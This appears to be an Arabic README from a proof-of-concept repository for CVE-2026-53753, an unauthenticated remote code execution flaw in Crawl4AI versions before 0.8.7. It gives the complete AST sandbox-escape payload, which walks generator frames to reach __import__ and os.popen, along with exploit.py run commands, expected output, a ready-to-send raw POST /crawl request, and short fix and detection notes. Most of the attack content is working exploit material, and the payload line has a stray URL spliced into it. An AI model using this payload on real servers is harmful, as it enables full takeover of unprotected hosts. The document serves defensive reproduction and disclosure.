CVE-2026-53753 — تنفيذ تعليمات برمجية عن بعد بدون مصادقة في Crawl4AI (هروب من صندوق حماية AST)

هجوم RCE قبل المصادقة في Crawl4AI < 0.8.7. مخطط JsonCssExtractionStrategy مموّه يُرسَل إلى نقطة النهاية غير المصادقة POST /crawl يصل إلى مقيم الحقول المحسوبة (_safe_eval_expression)، يهرب من قائمة AST المسموحة عبر كائنات إطار Python، يصل إلى builtins الحقيقية، ويشغّل __import__('os').popen(<cmd>).read() — ويعيد إخراج الأمر ضمن الاستجابة JSON.

فهرس المحتويات

1. السبب الجذري
2. تحليل الحمولة سطراً سطراً
3. لماذا يصل التنقل بين الإطارات إلى builtins الحقيقية
4. إعداد المختبر
5. تشغيل الاستغلال
6. الإخراج المتوقع
7. طلب HTTP الخام
8. استكشاف الأخطاء
9. الأثر / الإصلاح / الكشف
10. التحقق

تعمق: راجع ANALYSIS.md لشرح عقدة بعقدة لـ AST، ومكدس الإطارات وقت التشغيل، وتدفق بيانات الطلب، وفرق التصحيح.

1. السبب الجذري

في crawl4ai/extraction_strategy.py يُسمح لمخطط الاستخراج بتعريف حقول محسوبة — تعبيرات Python صغيرة تُقيّم لكل عنصر مستخرج. تُشغّل بواسطة _safe_eval_expression()، التي تحاول عزل التعبير داخل صندوق حماية باستخدام قائمة AST مسموحة ومجموعة __builtins__ مجرّدة:

# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Block dunder attribute access, e.g. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

المُتحقِّق هو منع بالبادئة: يرفض فقط الأسماء التي تبدأ بـ _ (بالإضافة إلى import). هذه القاعدة الواحدة هي كل الصندوق الآمن — ولديها ثلاثة ثغرات تتحد لتشكّل هروباً كاملاً:

يصل المخطط إلى هذه الدالة بدون مصادقة: شحنة Docker API تحتوي على security.jwt_enabled: false، لذا فإن اعتماد رمز /crawl هو lambda: None.

2. تحليل الحمولة سطراً سطراً

تعبير الحقل المحسوب هو:

(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

قراءة كل جزء:

بما أن قيمة المولد هي os.popen(cmd).read()، فإن مخرجات الأمر القياسية تصبح قيمة الحقل وتُعكس في استجابة /crawl — مؤشر ضمن الاستجابة، لا حاجة لـ OAST.

3. لماذا يصل التنقل بين الإطارات إلى builtins الحقيقية

بينما يكرار list(g) على المولد، تبدو مكدس الاستدعاء كالتالي:

frame: _safe_eval_expression()      <-- builtins الحقيقية  (__import__ موجود هنا)   ← f_back ×3
   └ frame: <expression> (eval)     <-- builtins محصورة (_SAFE_EVAL_BUILTINS)       ← f_back ×2
        └ frame: <lambda>           <-- محصورة                                      ← f_back ×1
             └ frame: <genexpr> g   <-- قيد التشغيل؛ g.gi_frame هو هذا الإطار       ← gi_frame

g.gi_frame.f_back يُملأ فقط أثناء تشغيل المولد (لهذا السبب يجب أن يشير المولد إلى نفسه ويُشغّل بواسطة list(g) — فالمولد الذي لم يبدأ تشغيله لديه f_back is None). الصعود ثلاث مرات عبر f_back يصل إلى إطار _safe_eval_expression، الذي يحتوي f_builtins على وحدة builtins الكاملة — والتي يُسحب منها __import__ بالاشتراك.

عمق الإطار ثابت لهذا المسار البرمجي: f_back × 3 صحيح لـ Crawl4AI 0.8.6 في _safe_eval_expression.

4. إعداد المختبر

الصورة الرسمية تحتوي على الإعداد الافتراضي الضعيف (بدون مصادقة):

# الخيار أ — docker compose (مضيف Docker عادي مع شبكة bridge)
docker compose -f lab/docker-compose.yml up -d

# الخيار ب — docker run عادي
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

انتظر ~20 ثانية حتى يسخن تجمع المتصفح (docker logs crawl4ai-vuln → Application startup complete).

5. تشغيل الاستغلال

# فحص جسم الطلب دون إرساله:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# تنفيذه (مخرجات الأمر تعود في الاستجابة):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py يستخدم فقط مكتبة Python القياسية — لا تبعيات.

6. الإخراج المتوقع

[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

حقل out هو حالة نظام التشغيل الحية (إخراج id، uname، ملف os-release الخاص بالحاوية)، وليس صدى للطلب — uid=999(appuser) هو حساب الخدمة داخل الحاوية، مما يثبت تنفيذ التعليمات داخل مضيف Crawl4AI. يُعكس echo <marker> فريد حرفياً، مؤكداً أن الأمر نُفذ فعلاً.

7. طلب HTTP الخام

POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}

• raw://… يجعل الطلب مكتفياً ذاتياً — لا حاجة لجلب خارجي؛ المهاجم يقدم HTML مباشرة.
• baseSelector: "div" يحتاج فقط إلى مطابقة عنصر حتى يُقيّم حقل محسوب. مقابل هدف زحف حقيقي، استخدم أي محدد يطابق الصفحة.

8. استكشاف الأخطاء

9. الأثر

أي عميل يمكنه الوصول إلى الشبكة ينفذ أوامر نظام تشغيل عشوائية على مضيف Crawl4AI بدون أي مصادقة في النشر الافتراضي — اختراق كامل للخادم والانتقال إلى أي موارد داخلية يمكنه الوصول إليها.

الإصلاح

• الترقية إلى Crawl4AI ≥ 0.8.7 (يزيل _safe_eval_expression؛ مفتاح الحقل المحسوب expression معطّل — استخدم المفتاح function مع دالة Python موثوقة بدلاً من ذلك).
• دفاع متعدد الطبقات: فعّل JWT (jwt_enabled: true + api_token) ولا تعرّض API Crawl4AI لشبكات غير موثوقة أبداً.

الكشف

راقب أجسام طلبات POST /crawl (و /crawl/stream) التي تحتوي على gi_frame أو f_back أو f_builtins أو أي حقل computed يحمل مفتاح expression.

الإفصاح / الشكر

• مؤلف إثبات المفهوم: Caio Fabrício — github.com/BiiTts
• تعود الثغرة إلى المُبلّغ الأصلي في CVE/الإبلاغ؛ هذا المستودع هو إعادة إنتاج مستقلة للاستخدام الدفاعي والتعليمي.
• للاختبار الأمني المصرّح به فقط.